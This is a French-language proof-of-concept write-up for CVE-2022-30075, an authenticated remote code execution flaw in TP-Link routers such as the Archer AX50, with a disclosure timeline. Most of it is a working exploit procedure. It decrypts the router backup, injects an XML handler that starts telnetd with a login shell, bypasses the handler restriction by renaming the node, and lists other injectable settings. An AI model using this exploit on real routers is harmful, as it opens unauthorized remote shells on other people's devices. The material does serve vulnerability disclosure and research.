CVE-2022-30075

Exécution de code à distance authentifiée sur les routeurs Tp-Link

Appareils concernés

Si votre routeur Tp-Link dispose d'une fonctionnalité de sauvegarde et de restauration et que son firmware est antérieur à juin 2022, il est probablement vulnérable.

Testé avec

Tp-Link Archer AX50 ; d'autres routeurs Tp-Link peuvent utiliser un format de sauvegarde différent et l'exploit devra être modifié.

PoC

Utilisation de l'exploit pour démarrer le démon telnet sur le routeur

Exploitation manuelle

1. connectez-vous à l'interface web du routeur
2. allez dans advanced -> system -> backup settings
3. déchiffrez et décompressez le fichier de sauvegarde

• si votre routeur utilise un format de fichiers de sauvegarde différent, vous pouvez modifier le code de l'exploit (classe BackupParser) ou simplement utiliser un outil depuis GitHub :
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. dans le fichier XML déchiffré, vous pouvez trouver quelque chose comme ceci :

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• remplacez-le par ces lignes

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• une restriction empêche la modification du paramètre system.button.handler, mais elle peut être facilement contournée en changeant le nom du nœud XML parent (par exemple name="exploit")
• l'exécution de code peut être obtenue non seulement en modifiant le paramètre system.button.handler, mais aussi en utilisant ddns.service.ip_script, firewall.include.path, uhttpd.main, et d'autres...

5. compressez et chiffrez le fichier de sauvegarde modifié
6. allez dans advanced -> system -> restore settings -> téléversez le fichier de sauvegarde modifié
7. après le redémarrage, appuyez sur le bouton LED qui déclenche l'exécution de la commande injectée /usr/sbin/telnetd -l /bin/login.sh
8. connectez-vous à distance au routeur : telnet 192.168.1.1

Chronologie

15.03.2022 - Vulnérabilité identifiée
15.03.2022 - Support Tp-Link contacté
16.03.2022 - Réponse reçue de Tp-Link
02.05.2022 - CVE attribué
27.05.2022 - Tp-Link a publié un firmware corrigeant la vulnérabilité
07.06.2022 - Détails techniques publiés